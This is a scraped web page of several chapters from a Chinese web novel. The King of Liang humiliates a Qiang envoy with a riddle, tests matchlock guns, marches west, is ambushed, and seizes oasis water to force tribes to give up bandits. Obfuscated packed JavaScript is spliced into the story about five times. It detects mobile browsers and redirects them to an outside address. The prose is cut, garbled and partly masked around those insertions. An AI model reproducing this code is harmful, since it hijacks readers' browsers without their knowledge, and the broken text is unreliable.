周大彪拍桌子起身骂道:“你出这种无解之题不就是为了故意刁难人么? 那老子问你这世上先有鸡还是先有蛋? 为什么母鸡下不了鸭蛋?为什么兔子不会在天上飞? 你回答啊!” “这位将军”尼玛冷冷一笑“答不出来不丢人何必乱开腔贻笑大方?” “你——” “行了大彪你且坐下。” 陆云川使了个眼色。 周大彪瞪了尼玛一样坐回了位置。 “这种迷题何需我国文臣出手?一个小姑娘足以。” 陆云川轻唤了一声“萍儿。” “来咯!” 候在一旁的苏萍儿凑了过来。 陆云川在她耳边低语了两句。 苏萍儿捂嘴偷偷一笑乖巧点了点头转身便从一旁烛台上取下一根蜡烛 然后跑下殿去抢过尼玛手中的筷子与蜡烛放在一起比对并道: “让筷子变短还不简单?找一根更长的东西与它放在一起它自然而然也就变短咯!” “小丫头妙啊……” “哈哈哈……” 短暂沉默后哄堂大笑。 尼玛脸皮不停抽搐。 “你这种迷题啊在我们村子里三岁小孩都能解。” 苏萍儿叉着腰微微挺起胸脯带着挑衅的口吻:“既然你这么喜欢出题考问别人我这里也有个谜题你敢不敢作答?” 尼玛内心冷笑一个半大点儿的小姑娘能出什么难题? 正好找回方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001690|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才失去的面子! “你尽管问!” “那你听好了”苏萍儿顿了顿一边在殿下踱步一边问: “话说这马上便要过年了李二家里有一头猪与一头驴请问他是先杀猪好呢?还是先杀驴好呢?” “这算哪门子迷题!?”尼玛沉声反问。 苏萍儿翘起下巴“我会出题自然有它的答案了你就说答不答得出吧!” 尼玛回到座位,纠集其余几名羌国使者,陷入讨论思考: “猪肉比驴肉便宜,驴肉比猪肉好吃,大概率是先杀驴……” “不然,驴平日里要用来拉磨与劳作,而按照他们中原人的习俗,猪养来便是为了宰杀吃肉,肯定是先杀猪……” “这题看似简单,却暗藏玄机,要谨慎揣摩才行啊……” 众羌国使者,你一言我一语,讨论了半晌,才由尼玛得出最终答案: “定是……先杀猪!” “恭喜你回答正确!” 苏萍儿嘻嘻一笑,“驴,就是这么想的。” 尼玛不禁一愣,脑子有些没反应过来,下意识脱口而出: “那先杀驴呢?” “猪,也是这么想的咯。” 满堂鸦雀无声。 “哈!哈!哈……” 殿堂中雷霆般的笑声,几乎能将房顶的琉璃瓦给震下来! 周大彪的笑声最为爽朗,“这些个蠢猪蠢驴,还不如回答我刚刚的问题呢,哈哈哈……” 尼玛这才意识到自己掉进了圈套,瞬间脸色大变,捂着胸口往后踉跄了几步: “你们……你们……凉王!我带着贺礼从关外远道而来,竟……竟遭贵国这般侮辱!这难道……难道是贵国的待客之道么?!” “哎,不过佳节愚戏,小丫头的一通玩笑而已,使者何必当真?” 陆云川斜眼冷冷一笑,轻挥龙袖,招呼道:“来啊,送一壶宫廷玉液酒,给使者压压惊; 今夜猜谜乐趣已够……来来来,将进酒,杯莫停,声乐共起,接着奏乐,接着舞!” 一时间,觥筹交错,声乐绕梁。 而尼玛一干使者,皱着眉头黑着脸,一壶宫廷玉液,一桌玉盘珍馐,硬是一杯未饮,一口未吃。 第一百八十四章 火绳枪,诞生! 宴会过后。 众宾各自离去。 陆云川酣然坐于王座,微微有些醺醉。 尼玛等一干羌国使者稳坐席位,直至桌椅撤走得差不多,尼玛才缓缓起身: “凉王,何不趁着上元佳节,再添一桩喜事?” 陆云川托着腮,小口慢酌着热茶,语调漫不经心地吐出一个字: “讲。” “羌国与凉国互为邻里,羌王与凉王皆为一方枭雄,何不结为同盟唇齿,以兄弟相称,永罢刀兵,对抗强敌!” 尼玛的声音铿锵有力。 兄弟? 若是手足兄弟,还可两肋插刀。 但国与国之间,只有利益没有朋友,以“兄弟”为借口,插兄弟两刀,此阳谋会不会太拙略了。 陆云川暗自冷笑了声,问道:“亲兄弟尚且明算账,结盟总得条件吧?” “凉王果然深明大义!” 尼玛先是大赞,随后大声道:“自古以来,河西都是我羌人所有,我们羌国的条件并不高,凉王撤走武威之兵,退到黑河东侧; 从此以后,咱们两国以黑河为界,河西归于羌国,河东归于凉国; 当然了,我们羌国也不会让你们凉国吃亏; 我们将开放河西走廊,建立榷场,允许西域商人进入凉国; 贸易所产生的商税,五五分成,咱们兄弟家,一半个一半。” 嗯…… 虚以为蛇! 恬不知耻! 可笑至极! 陆云川并没有生气,也懒得废话,而是淡淡道: “你的条件说完了,来听听本王的条件—— 羌兵,滚出玉门关与西域; 羌王,拜本王做大哥; 羌国,对凉国俯首称臣,并送王子到本王膝下为质; 满足以上三个条件,本王或可与令国结盟。” “凉王怕喝醉了吧?” 尼玛脸色阴沉,“我羌国天兵神勇,有十万铁塔军,昔日连大昭边军都要畏惧三分,你才建国不过一年,若铁塔洪流渡河南下,贵国可抵挡得了? 这是其一,其二,凉国位于西北列强夹缝之中,西有蛮国,东有北狄,南有大昭,北有羌国——” “一个月。” 陆云川出声打断了尼玛那可笑的战局分析。 “什……么?”尼玛一脸疑惑。 “一个月之内,灭你羌国。” 陆云川声音平淡,却犹如重锤,直击众使心灵。 尼玛睁大眼睛,他曾代表羌国出使大昭,就连大昭皇帝都不敢如此狂妄! “凉王你——” “趁本王杀心未起,带着你那几只骚狐狸与破烂药材,滚出雍州城。” 陆云川把玩着手中的茶杯,冰冷的眼神与语气,不容半点质疑。 尼玛脸皮狠狠抽搐了两下,早听闻座上此人,一挥手便屠了三万北狄战俘…… “我们……走!” 尼玛与众使快步走出大殿。 “羌国?” 陆云川望着手中茶杯,眼神突然一狠,哪有什么醉意? “啪!” 掌间猛地发力,茶杯四分五裂。 “犹如此杯尔!” …… 大年过后。 该农活的忙农活,该打仗的去打仗。 下一个战略目标,覆灭羌国,控制河西走廊,打通西域商路,自然也该提上日程。 出征前夕。 匠作堂外,靶场之上。 春雪淅淅沥沥,有些微微寒冷,却已不再冻人。 陆云川带着钱无命,立在靶场边缘,他们身后的铁砧上,静静匍匐着三百条新生的精铁脊骨——火绳枪。 经过匠作堂工匠们大半年的日夜研发,第一类管制火器成品,终于是搞出来了。 黝黑的**在寒光中流泻着沉钝的凶意,弯曲的枫木**尚未温润,散发着油脂与铁屑的初生腥气。 这些“硬家伙”,将是撕裂旧山河的门钥,一统天下的神兵利器。 “王上。” 火绳枪的总设计师徐三通躬身上前,“硝石三分,硫磺半分,木炭四分半,其余两分为豆粒铁砂; 以机簧捻绳发火,膛线乃以水轮钻磨,两百步内可破轻甲,一百步内可破重甲铁马; 但是……” 徐三通顿了顿,苦涩道:“次数射多了,**会发热松脆,容易炸膛……” “炸膛率几成?”陆云川淡淡问道。 “经过反复试验,试射五枪过后,炸膛仅有一成,但十枪过后若不加以冷却,会高至三成甚至更多……” 徐三通低头有些愧疚,“让王上失望了……” 其实相当不错了。 即便是现代**,也会有卡壳与炸膛的风险,更何况这种老式火绳枪? 三百支火绳枪五轮齐射,便能打出一千五百发**,足以对重甲铁骑兵造成恐怖杀伤。 “徐先生,若非本王有身份矜持,我定会对你们拜上三拜。 ” 陆云川拍了拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001691|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐三通的肩膀,真挚吐出了一句:“辛苦你们了。” “王上……”徐三通感动之至,眼眶微微泛红。 “好了,不必煽情,该的。” 陆云川摆了摆手,云淡风轻,又招呼道: “无命。” “末将在。” “知道本王为何专门让你带着弓箭来靶场么?” 陆云川笑着指了指靶场前方,“看到两百步外,那两个箭靶没?咱俩各露一手,比一比谁更快,更准,更狠。” “容末将斗胆,可有奖赏?”钱无命笑着问道。 陆云川抿了抿嘴唇,“去年龙脊关大捷,缴获了不少北狄好马,你若能赢了本王,任你挑选。” “既然王上要赠末将宝马,那末将只能笑纳了。” 钱无命满脸自信,别的不敢说,就射箭这方面,凉**中他认第二就没人敢认第一。 陆云川做了个“你先”的手势。 钱无命身子低矮下来,右脚蹬着雪地,左手稳稳托住弓身,取一支鹰羽箭矢,搭箭上弦,右肩拉开! 弓弦绞到极处,发出“嘣嘣嘣”声响。 “嗖!” 箭鸣如同雄鹰冲刺,撕裂凝滞的空气! 眨眼之间,箭头命中红色靶心,尾羽兀自嗡嗡乱颤! “末将献丑了。” 钱无命弓箭回背,抱着胳膊,胜券在握。 陆云川眼中波澜不起,只轻轻一句,“好箭法。”随后左手平平伸出。 徐三通立刻将一柄火绳枪装好**,并着火折子递到他手中。 用惯了冷兵器,差点儿让陆云川忘记,自己前世是个特战先锋。 而当摸到**的那一刻,所有感觉都回来了。 火折子引燃火绳,“滋滋滋……”引线向药池蔓延,发出浓烈的白烟。 陆云川左脚跨前一步,举起火绳枪,以**为准心,瞄准箭靶红心,**姿势标准得无可挑剔。 “刺啦!” 爬行的火蛇终于窜入引药池。 “啪!” 枪响与火光同起,硝烟与**同出! “呼咻!” 破空声还在余颤! 铁**已打穿箭靶! 一个拇指般粗细的弹坑,在红心中央赫然出现! 钱无命,目瞪口呆! 下一刻,又有些黯然伤神…… 这射速,这准度,这威力…… 他抚摸着背后的宝雕硬弓,心中不禁泛起些许苦涩,也突然意识到,冷兵器的辉煌,似乎即将成为过去…… 第一百八十五章 二月二,龙抬头 “人要懂得与时俱进否则将会被时代淘汰;武器战术亦是如此。” 陆云川随手将火绳枪丢给钱无命叮嘱道:“自今日起这三百支火绳枪便交付给穿甲军成立一个‘**营’以钱将军之神射 但也不能懈怠了**的训练火神枪虽威力大射程远弊端同样明显一旦遇到雨雪天气**打湿它便会失去作用—— 冷**交替使用最为稳妥。” “末将铭记在心定不辱使命!” 钱无命攥着火绳枪声音铿锵有力。 陆云川抬头望了一眼一览无云的蓝天故而问道:“对了眼下什么日子了?” “回禀王上再过三日便是二月二惊蛰天。”徐三通轻声答道。 “嗯……河东已经春暖花开河西又是个怎样的光景呢?” 陆云川抿了抿嘴唇片刻淡然发令: “传令三日后西征。” …… 作为一个有野心的帝王自然是要南征北战开疆拓土。 河西走廊北邻草原南接高原路途遥远且黄沙漫漫后勤补给会受到严重影响。 这并非一场普通的讨伐而是立国以来的第一次远征更是一统西北的第一步。 二月二龙抬头。 卯时三刻。 寒风夹带着暖流打着旋儿从凉州城外的莽原上卷过。 雍州校场上五万黑甲肃立如林人与马呼出的白气拧成一片低沉的雾墙。 铠甲上凝结的露霜在惨淡的晨光下闪着冷硬的光。 兵刃未动那一片死寂中凝固的严肃已沉甸甸地压在带到之上。 点将高台之上陆云川一身鎏金重甲身后大旗被风吹得飒飒作响。 他手中捧着一碗浑浊的烈酒目光缓慢扫过台下铁铸般的军阵。 “羌奴李天昊!” 他的声音高亢穿透寒风的嘶吼钻进每一个士兵的耳朵:“占我河西沃土劫我西域商路勾结北狄欲犯我境!此獠不除河西无宁日!凉国无安枕!” 他猛地将酒碗高举过顶清澈的温酒泼洒而出在风中激起一阵水雾! “今日龙抬头!本王率尔等西征!” “凿穿河西路踏碎玉户关!” “此去有死无生!不破玉户终不还!” “不破玉户终不还!!!” 五万条喉咙里迸发出的咆哮压过 了风嚎,震得城墙根下的冰锥簌簌落下! “钱无命,陈世钊,石勇! “末将在! 三人应声出列。 “着你三人为先锋!领三千凉州精兵,直插武威,为大军扫清前路! “得令! 三人抱拳,声如闷雷。 “徐三通,王牧。 “臣在! “命你二人为火器正副参军,全权调度火器装备! “遵命! “马山,石凯,汪洪波。 “属下在! “你们统领近卫营,常伴本王左右! “得令! “叔父,孙铭,许畅,本王远征的这段日子,由你们三人内阁主政; 世军,大彪,刘伟,张三儿,你等将领便留守雍凉,特别是阴山三关,要格外警惕; 蛮国非我族类,虽表面结盟,却不得不防! “谨遵王上安排! 那么,内事外事,该交代的都已交代清楚。 天边晨曦初现,黎明照耀大地。 “全军,出击! 令旗挥下。 天地间仿佛只剩下铁蹄闷响与呼啸风声,浩荡的黑甲洪流自大道一路向西。 天启二年,二月二,初春,凉王挥师西进,开启了第一次远征。 …… 黑河不径流西域,物资只能走陆路。 过了黑河再往西进,道路变得坎坷,大军日行不超过五十里,粮草辎重甚至更慢。 进入河西走廊的第七日。 铅灰色的云层低低压下来,天色昏沉得如同锅底。 风突然变了味道,没有一丝丝春暖,而是裹挟着大量的砂砾与尘土,呼啸着打在人马身上“噼啪作响。 天地也开始变得单调,绿色似乎成了奢侈,只有丹霞与漫天黄沙。 河西的天气,往往只有两季,要没酷暑,要么严寒。 正午艳阳穿单衣,晚上冰雹裹棉服,每一阵风都像是一把刀,割得人脸颊生疼。 “呼呼呼…… 风沙呼啸肆虐,搅得天昏地暗,大军埋头苦进,萧瑟肃杀,古老神秘。 “呸!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001692|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆云川揭开面罩,淬了口带着沙土的唾沫,然后拍了拍肩膀,从肩胄里又抖出一大剖黄沙。 “北风卷地白草折,胡天八月即飞雪; 忽如一夜春风来,千树万树梨花开。 此时此刻,亲身经历过 后,才知道漠北塞外的残酷。 “王上,要不……您还是回车驾吧,别让风沙伤了身体。”马山在一旁劝道。 “哎。”陆云川摆了摆手,“将士们都迎着风沙前进,我一个人坐车里,太矫情了。” “您嘴唇都开裂了……” “若行军打仗都细皮嫩肉,还不如回家养猪!” “报!” 一骑斥候冲出风沙。 “王上!前方刮白毛风了!风沙实在太大,马蹄趔趄,眼睛都睁不开,实在难以探查前路境况!” 听此一言,陆云川微微皱眉。 难道又要等风沙过境? 这才行军七日,便已歇了将近三天,照此速度最起码得一个月才能抵达武威。 而且沙暴过后,又得重新清扫开路,实在太耽搁进程。 “传令下去,结盾阵开路,抵挡风沙继续进军。”陆云川下令道。 “是!” 很快军队变阵,三五个盾兵,扛着一面大盾,结成一条黑色长廊,还是被大风吹得脚步踉跄。 军队宛如一条巨大的黑色蜈蚣,迎着风沙在荒漠中缓慢前进。 忽然! 头顶传来一阵大雁的啼鸣。 陆云川抬头一瞧,莫约七八只大雁,正在高空盘旋不去,啼鸣中似有哀嚎,仿佛在宣告着什么。 一股不祥的预感爬上心头。 “嗖!” “呼哧!” 一声箭鸣从沙尘中响起。 一支飞箭撕开了黄沙帷幕,直指马背上的陆云川。 陆云川双眼一怔,本能侧身闪躲,但反应还是慢了半拍。 “噗呲!” 飞箭狠狠扎进了他的右肩。 这一切来得实在太快,太突然,一旁的马山等人都没来得及反应,直到看到陆云川肩头的飞箭—— “敌袭!!!” “护驾!!!” 吼声在军队中骤然爆发! 第一百八十六章 小郎中,又是你? 马山等近卫迅速围拢,将陆云川死死堵在身后。 “嗖嗖嗖……” 黄沙中又射出七八支飞箭。 “呯呯嘭嘭……” 马山一柄快刀,将飞箭全部折断。 “王上,您……可无恙?”马山回头问道。 “我没事。”陆云川皱着眉头,紧盯着飞箭射来的方向,“看对方射箭的数量,人应该不多,用不着惊扰大部队阵型; 石凯,你带一批近卫去将他们揪出来,尽量要活的。” “是!” 石凯与汪洪波率领五十骑飞速冲进沙幕。 “呯呯嘭嘭……” 沙尘中传来一阵金铁交鸣,应该是找到了那些刺客。 “王上,您还是回车驾吧,万一——” “噗呲!” 不等马山把话说完,突然马蹄前最多丈许远,沙地中突然窜出一道黑影! 黑影浑身都裹着麻布,与黄沙几乎同样颜色! 手中白刃弯刀,尤为醒目! “凉王,拿命来!” 黑影动若脱兔,窜起一刀直刺陆云川。 “找死!” 马山大喝一声,双腿夹马肚子,纵身一跃跳起丈许高,凌空一记劈砍,将那道黑影空中拦截! “嘭!” 两刀相撞,炸出一道火花,震得人耳鸣嗡嗡! 黑影的弯刀,显然不如马山,被一刀震落在地! 黑影见刺杀不成,也没有恋战,转身在沙地中滚了几圈,一头栽进沙地中消失不见。 陆云川揉了揉自己的眼睛,这他妈……土行孙么?竟然会“遁地”? 步兵紧忙围了上来,用长矛地毯式往沙地里扎刺,却未见丝毫血迹。 片刻过后。 石凯与汪洪波等亲卫,扛着七具尸体回到队中。 这些尸体统一都配有弯刀,穿着与沙土相近的黄色麻衣,看长相是异族人。 “王上,这些人誓死不降,挥刀自尽了……” “他们身上没有甲胄,看起来好像是沙匪……” “什么样的沙匪,敢来万军从中刺杀本王?” 利用沙尘**扰视线,穿麻衣进行伪装,还会一手“遁地术”,怎么看都像是受过训练的“特种兵”。 “行了,找个背风坡,先休整一番,加大巡防力度,免得再被刺客靠近。” 陆云川抚了抚肩头的箭羽,有些疼痛,却也有些想笑,没想到这荒凉的河西沙漠里,还有会“遁地”的奇人 。 羌国,不容小觑啊。 陆云川只好回到车驾。 “军医呢?快点儿!王上受伤了不知道么?” “来了,来了……” 马山的催促声。 清脆的应答声。 一个裹着布衣,头戴纶巾的小郎中,背着个大药箱,踉踉跄跄,风尘仆仆钻进马车。 “怎么是你?” 陆云川抬头打量了一眼小郎中,虽然她蒙着面罩,但这声音,这身材,这眼睛,不就姜采桑又是谁? “下官,叩见王上。” 姜采桑摘下面罩,抹了抹嘴角的黄沙,作势就要行礼。 “等一下,你不待在太医院,跑来远征军中做什么?” 陆云川皱眉问道,“你难道不知,军中有军令,决不允许女人出现么?” “我……我现在是男人,没人知道我是女人……” “你的意思是说,本王不是人?” “啊……不是那个意思……王上恕罪,恕罪……” 姜采桑赶忙下跪就要磕头。 “行了行了,我肩膀上还插着箭呢,先帮我把箭**吧。” 眼下的陆云川正光着膀子,箭头刺入左肩,鲜血染红了半边衣袖。 姜采桑自知不能耽搁,赶紧凑上前来,从药箱里拿出酒精,凝血散等药品。 先以清水擦拭伤口,再用酒精进行消毒,她左右观察了片刻,叹了声清醒: “好在王上甲胄坚硬,箭头并未伤及筋骨,伤口未见发黑脓肿,说明并未涂毒……但这箭头有倒钩,**或许有些疼痛,您要忍着些……” 她说着,又从箱子内取出一根咬布,睁着眼睛递到陆云川跟前。 “什么?” “请王上含在嘴里,免得太疼咬伤了舌头。” “皮外伤而已,直接拔。” “很疼的,真的很疼……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001693|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “疼也不咬!” 陆云川将头一偏,她要是个男人,或许还能咬,但偏偏是个女人。 在女人面前,再痛也不能咬这玩意儿,这是面子问题。 姜采桑挤了挤嘴角,也不再强求,“那你忍着些,我拔了……” “尽管拔,我眉头都不会皱——” “噗呲!” “嘶!” 我的妈呀! 陆云川浑身打了个哆嗦,额头瞬间冒了虚汗。 “我当……以为有多痛呢,也……也不过如此……呵……” 他嘴唇都在发抖。 姜采桑偏过头,偷偷笑了声,原来高高在上的凉王,也是年轻气盛的。 接着她又用酒精清洗了一遍伤口,再洒以凝血散,而后用纱布进行包扎,一切都是那么轻柔与小心翼翼。 她离得陆云川很近,胸膛恰好尽收眼底。 她将胸脯裹得再平,还是有些微微隆起,她再怎么假扮男人,也散不去身上的女人香。 “王上以后还是别出去骑马了……”她边包扎边劝。 “怎么?” “你高头大马,身穿金甲,我要是刺客,我也先射你……” “行军打仗,谁身上不带点儿伤?” “可是你的运气不会每次都那么好,反应也不会每次都那么迅速,就好比那些摔断腿的病人,他们若走路时能小心些,就不会让自己受伤了。” 包扎好伤口,她还很贴心将纱布打了个蝴蝶结。 “稍后我遣一只卫队,送你回雍州城。”陆云川淡淡说道。 “我不回去!” 姜采桑态度坚决,“我哥哥……多半是战**,我要杀胡虏替他报仇,我也想为国家尽一份力!” 然而硬气不过半分,她又低下头,咬着嘴唇,“可恨是个女儿身,可恨长得这么矮小……” “但你毕竟是个女人,不说其它的,这军营里都是男人,男人内急了,解开裤腰带,站着就能撒尿,你还得脱裤子蹲下来……军中有严令,女眷入营,五十军棍起步,若扰乱军心,要人头落地的。” 陆云川上下打量着姜采桑,眯着眼睛问道:“你这小身板儿,扛得住五十军棍么?” 第一百八十七章 铁腕与强权 “先前我采药时,从十来丈的山坡上滚下来,摔得头破血流,一样活得好好的! 姜采桑攥着拳头,信誓旦旦,仿佛全身上下,都在说着“我不怕。 陆云川揉了揉内心,似乎真的吓不走她。 河西荒漠,昼夜温差极大,伤病容易爆发,军中有位医术高超的大夫,利大于弊。 “行吧?你执意要留下,我也不好再赶你走,但是若身份暴露,扰乱了军纪,后果你得自己承担。 “多谢王上! 姜采桑欣喜,收拾药箱便打算离去。 “还有。 陆云川忽然唤住了她,“若日后衣食住行有什么不方便,可以直接来找我。 姜采桑回眸一笑,没有说话,轻嗯了一声,抱着药箱离开了马车。 陆云川眼眸低沉,摸了摸肩膀上的蝴蝶结,一种非比寻常的情愫在心中黯然滋生。 …… 行军十七日。 武威县城的轮廓终于在丹霞地貌中浮现。 早在去年初冬,陆云川便已派遣赵猛,萨武,秦鸣领三万大军驻守武威,其意便是扼住河西走廊的咽喉,让羌国大军不得南下。 “赵猛携全城军民,恭迎王上驾临! 城门大开,夹道而迎。 相比较去年,每个人似乎都苍老了十岁,被风沙摩挲的脸颊,又黄又粗糙。 “扼守此苦寒之地,众将士辛苦了。陆云川由衷感谢。 寒冷,风沙,缺水,少药,环境确实恶劣得很。 “镇守山河,不辞辛苦! 赵猛指了指城门方向:“王上,洗澡水早已烧好,请进! 是啊,能舒舒服服洗个热水澡,算得上是迎接王驾的最好待遇了。 简单洗漱了一番,换了身干净的衣裳,陆云川瞬间感觉自己轻了几斤。 而后辗转大帐,开始战略布局。 从武威县到玉户关所在的敦煌县,有一千八百余里,中间还隔着张掖,酒泉两个县地,全都控制在羌国手中。 想要真正收复河西走廊,就必须沿着走廊往上推,先打张掖,再打酒泉,最后攻打敦煌。 走廊南北两侧皆是崇山峻岭,没有任何迂回战术可言,只能硬着头皮,顶着风沙往上推。 “羌王李天昊,亲率八万大军,扼守张掖县。 赵猛指了指墙壁上的河西分布地图说道:“王上且看,若我们大军想要西进张掖,首先便必须渡过这条河流——弱水。 弱水是从北方蒙古高原流下来的内陆河,虽不算宽阔,但此刻依旧还结着冰; 羌军捣毁了所有渡河桥梁,并在弱水北岸修筑了大量防御攻势,沿岸五十余里皆有他们的哨口,摆明了是要以河道之险,死守张掖县境。 陆云川皱眉盯着地图上的弱水走势,这条河流几乎切断了河西走廊,饶肯定是绕不开了。 如此看来,下一场战役,是兵渡弱水了。 “后勤呢?可能保障?陆云川问道。 “经过整个冬季的艰难转运,武威县已堆满了粮食,至少可够八万大军食用半年,但是, 赵猛顿了顿,些许苦涩:“武威周边有许多沙匪袭扰,虽成不了什么气候,但确实很烦人,大大减缓了补给速度。 “兵贵神速,粮草先行,这是个大问题。 陆云川眉头皱得更深,下意识抹了抹肩膀伤口,虽说已经结痂治愈,但中箭之痛与那个会“遁地术的沙匪仍记忆犹新。 赵猛则更加苦涩:“末将屡次派遣萨武将军带游骑兵去清缴沙匪,但这些毒瘤太狡猾了,沙里来沙里去,漫漫黄沙,广袤无垠,实在难以根除。 萨武补充道:“武威县周围有许多异族村落,对咱们中原人敌意很大,末将怀疑,沙匪很可能就藏身在这些异族人群中; 但虽是异族,也是我凉国籍子民,末将实在不敢滥杀无辜…… 陆云川陷入沉思。 他也是“毒瘤出身,对“匪 土匪所盘踞的山头就只有那么一两座,沙匪就不同了,吹一场风沙过后,沙丘变化无常,活动范围实在太大。 “看来在西进之前,还要先想个办法将这群‘沙耗子’清剿了才行。 陆云川抿着嘴唇说道:“既然有人包庇沙匪,那就不必心慈手软; 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001694|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >河西荒凉,水源匮乏; 只要是人便离不开水源,而荒漠上绝大多数水源便来自绿洲; 这样—— 萨武,秦鸣,钱无命,多分出几支游骑兵,将方圆五十里内的绿洲进行管控,任何人,包括当地居民,都不允许取走一瓢; 如此,断了当地水源,不出三日,自会有人来供出沙匪的位置。 仁慈,反倒会被敌人当成武器; 越复杂的地方,越要使用铁腕与强权。 便依计行事。 三日之后。 一大清早,县城外便挤满了异族人,都是武威境内各小部落的族长。 陆云川以铁血手段,控制了所有绿洲水源,在饥渴面前,操守什么异族气节,也变得荒诞可笑。 “咯吱——” 城门缓缓打开。 萨武策马而出,高声招呼道:“王上有令,邀各部落族长、村长,入城觐见!” 很快人群中便挑出了十名德高望重的代表。 随萨武来到大帐。 大帐中,陆云川负手背对着帐墙,身后的案桌上整整齐齐放着十大碗美酒。 美酒清洌,香盈满帐。 三日来缺水的众族长,都直勾勾盯着酒碗,忍不住舔了舔干涸发裂的嘴唇。 其中一名六旬老者,应该是名望最厚,他沙哑着喉咙:“凉王,不知草民们所犯何事,触怒了您的天威,要如此惩罚乡村邻里?” “什么缘由,就不必废话了,免得浪费口舌,让你们更渴。” 陆云川冷声道:“本王名言—— 玉户,必破; 羌王,必死; 河西土地,必归于凉; 河西百姓,叩首称王。” 言语至此,他的声音更加阴寒,如同一并刀锋直刺人心: “归顺凉者,商路大开,赋税减半,保尔部族安泰,顽抗大凉天威者……错杀一千,不放过一人。” 他微微偏过头,以眼角余光,扫视着身后众人,最后一句: “碗中酒,饮或者不饮,皆由你们抉择……一刻钟,本王耐心有限。” 第一百八十八章 雁过不留痕,人过血染沙 沉默。 死寂。 强大的压迫力,几乎让人喘不过气。 最终那个最德行的六旬老者率先拿起酒碗,“我们部落,在这片凄凉的土地上生活了一百多年,从祖辈起,换了不知多少个政权,大昭,北狄,羌国,到如今的大凉…… 但愿凉王能说到做到,给河西一个太平盛世。” 说罢,他端起酒碗一饮而尽。 其余人纷纷饮下碗中酒。 “本王不想给你们画饼,大凉是否能给你们带来和平,时间会给出最终的答案。” 陆云川这才缓缓转过身,问道:“在本王来武威的途中,差点被一名沙匪刺杀,他穿黄色麻衣,手持弯刀,还有一手很独特的沙土遁地之术; 告诉本王,他是谁,在哪儿能找到他。” 六旬老者迟疑了片刻,轻叹了口气,吐出一个名字: “兀鹫,绰号‘沙里飞’,在武威一带名头最响,手段最狠,身法最快; 兀鹫纠集了六七十人,盘踞在西南五十里外,一处沙洲之上,那里有一大片茂密的胡杨树,很远都能看见。” “很好……来人带诸位族长下去休息。” 先将他们扣留在军营里,免得他们回去给沙里飞通风报信。 众人被带出大帐。 “萨武,马山,这件事情就交给你们去办了。” 陆云川叮嘱道:“遁地术是绝对不可能存在的,多是利用了沙粒松软与某种技巧; 这样,你们去火器军营,找徐三通要一批‘雷火弹’,用拌线**去破解他的歪门邪术; 还有,去那些异族人中挑一个带路的,天黑了再摸过去,人不必太多,免得打草惊蛇。” “末将遵命!” …… 今夜。 月朗星稀,寒风凛凛。 沙漠的夜晚冷得刺骨,沙丘起伏的轮廓像是沉睡的巨兽脊背。 沉寂与惨淡之中,亦有一种凄凉静美。 “沙沙沙……” 两百豹骑,轻装上阵,裹着黑色披风与面罩,马鞍配长刀,每骑都挂着一枚“震天雷”与“雷火弹”。 “停。” 萨武勒住缰绳,抬手示意身后的骑兵停下,他扯下面罩,呼出一口雾气,偏头问向身旁骑骆驼的年轻人: "距离沙洲,还有多远?" 年轻人叫做鸣吉,是本次领队向导,曾给沙里飞等沙匪送过酒,对路线十分熟悉。 鸣吉从驼背上滑下来,像只沙漠狐 狸般敏捷地爬到前方沙丘顶端 他趴伏着观察片刻又无声地滑回来粗糙的手指在沙地上画出简略的路线图: "翻过前面三道沙梁就是沙洲但是胡杨林里有他们的暗哨至少三处。" "不论怎么说两百对六十优势在我。"萨武说道。 